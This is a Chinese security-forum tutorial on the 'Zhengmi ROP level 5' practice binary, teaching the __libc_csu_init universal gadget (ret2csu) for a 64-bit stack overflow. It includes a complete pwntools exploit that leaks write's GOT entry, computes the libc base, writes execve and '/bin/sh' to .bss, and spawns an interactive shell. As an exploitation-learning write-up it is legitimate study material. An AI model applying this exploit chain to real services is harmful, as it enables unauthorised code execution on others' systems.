首页
社区
课程
招聘
[原创]蒸米ROP level 5 - 通用gadget
2024-6-4 10:44 6245

[原创]蒸米ROP level 5 - 通用gadget

2024-6-4 10:44
6245

1. 环境

ubuntu1~16.04.12
pwndbg
python

2.目标

学习通用gedget 构造

3. 流程

栈溢出函数, 漏洞函数

1
2
3
4
5
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF
 
  return read(0, buf, 0x200uLL);

没有system函数需要去libc里找
图片描述

4.思路

可以使用write打印出内存write_got的内存地址,使用内存地址相减
write_got - libc.symbols['write'] = write的内存地址地址,然后使用read函数把libc的system地址写进bss段构造恶意栈空间控制程序执行流执行栈空间的system函数。
在程序中有一个__libc_csu_init函数是通用的gedget, 可以使用这个代码段来构造自己想要的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
400600:       4c 89 ea                mov    rdx,r13
400603:       4c 89 f6                mov    rsi,r14
400606:       44 89 ff                mov    edi,r15d
400609:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
40060d:       48 83 c3 01             add    rbx,0x1
400611:       48 39 eb                cmp    rbx,rbp
400614:       75 ea                   jne    400600 <__libc_csu_init+0x40>
400616:       48 83 c4 08             add    rsp,0x8
40061a:       5b                      pop    rbx
40061b:       5d                      pop    rbp
40061c:       41 5c                   pop    r12
40061e:       41 5d                   pop    r13
400620:       41 5e                   pop    r14
400622:       41 5f                   pop    r15
400624:       c3                      ret 

可以操作寄存器的代码段是0x400616,其中rbx可以设置为0,剩下的寄存器都和
0x400600有关,rbx=控制0x400614的确保相等就不会往上跳转设置为1,r12=0x400609因为rbx是0只要r12存放的是函数的地址就会call过去,r13=0x400600会间接控制rdx,r14=0x400603间接控制rsi,, r15=0x400606间接控制edi
利用执行流程
0x400624->0x400600->(0x400624)再次跳转的位置

  • 构造通用getged
1
2
3
4
5
6
def csu(rbx, rbp, r12,r13 , r14, r15):
    payload = b'a'*136+p64(getget1)+p64(rbx) +p64(rbp)+p64(r12)+p64(r13)+p64(r14) +p64(r15) + p64(getget2)
    payload += b'v'*56
    payload += p64(start_addrs)
    return payload
    pass
  • 获取write内存地址
1
2
3
4
5
6
7
payload = csu(0,1, write_addrs_got, 8, write_addrs_got, 0x1)
p.recvuntil("Hello, World\n")
p.send(payload)
sleep(1)
 
write_addrs =  u64(p.recv(8))
print("hex write_got = %s" %  hex(write_addrs))
  • 获取system地址
1
2
3
4
5
# libc 基地址
libc.address = write_addrs - libc.symbols['write']
print("libc基地址 = %s" % hex(libc.address))
execve_addrss = libc.symbols['execve']
p.recvuntil('Hello, World\n')
  • system和/bin/sh函数写入bss段
1
2
3
4
5
6
7
8
9
# payload 2
payload2 = csu(0,1, read_addrs_got, 16, elf_addrs, 0)
p.send(payload2)
sleep(1)
 
p.send(p64(execve_addrss))
p.send(b'/bin/sh\0')
sleep(1)
p.recvuntil('Hello, World\n')
  • 调用构造好的system函数
1
2
payload3 = csu(0,1,elf_addrs, 0,0,elf_addrs+8)
p.send(payload3)

Exp构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#coding=utf-8
from pwn import *
 
 
p = process('level5')
# libc = ELF('libc.so')
elf = ELF('level5')
libc = elf.libc
start_addrs = elf.symbols['_start']
write_addrs_got = elf.got['write']
read_addrs_got = elf.got['read']
getget1 = 0x40061a
getget2 = 0x400600
elf_addrs = elf.bss()
 
print("bss = ", elf_addrs)
def csu(rbx, rbp, r12,r13 , r14, r15):
    payload = b'a'*136+p64(getget1)+p64(rbx) +p64(rbp)+p64(r12)+p64(r13)+p64(r14) +p64(r15) + p64(getget2)
    payload += b'v'*56
    payload += p64(start_addrs)
    return payload
    pass
 
"""
  400596:       ba 0d 00 00 00          mov    edx,0xd
  40059b:       be 44 06 40 00          mov    esi,0x400644
  4005a0:       bf 01 00 00 00          mov    edi,0x1
  4005a5:       e8 86 fe ff ff          call   400430 <write@plt>
"""
# payload ============= 1
payload = csu(0,1, write_addrs_got, 8, write_addrs_got, 0x1)
p.recvuntil("Hello, World\n")
p.send(payload)
sleep(1)
 
write_addrs =  u64(p.recv(8))
print("hex write_got = %s" %  hex(write_addrs))
# libc 基地址
libc.address = write_addrs - libc.symbols['write']
print("libc基地址 = %s" % hex(libc.address))
execve_addrss = libc.symbols['execve']
p.recvuntil('Hello, World\n')
# 写入/bin/sh
"""
  400572:       ba 00 02 00 00          mov    edx,0x200
  400577:       48 89 c6                mov    rsi,rax
  40057a:       bf 00 00 00 00          mov    edi,0x0
  40057f:       e8 bc fe ff ff          call   400440 <read@plt>
"""
if args.G:
    gdb.attach(p, 'b *vulnerable_function')
#raw_input()
# payload ============= 2
payload2 = csu(0,1, read_addrs_got, 16, elf_addrs, 0)
p.send(payload2)
sleep(1)
 
p.send(p64(execve_addrss))
p.send(b'/bin/sh\0')
sleep(1)
p.recvuntil('Hello, World\n')
# 调用system函数
"""
  400585:       48 89 e5                mov    rbp,rsp
  400588:       bf dc 06 40 00          mov    edi,0x4006dc
  40058d:       e8 de fe ff ff          call   400470 <system@plt>
"""
# payload ============= 3
payload3 = csu(0,1,elf_addrs, 0,0,elf_addrs+8)
p.send(payload3)
p.interactive()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回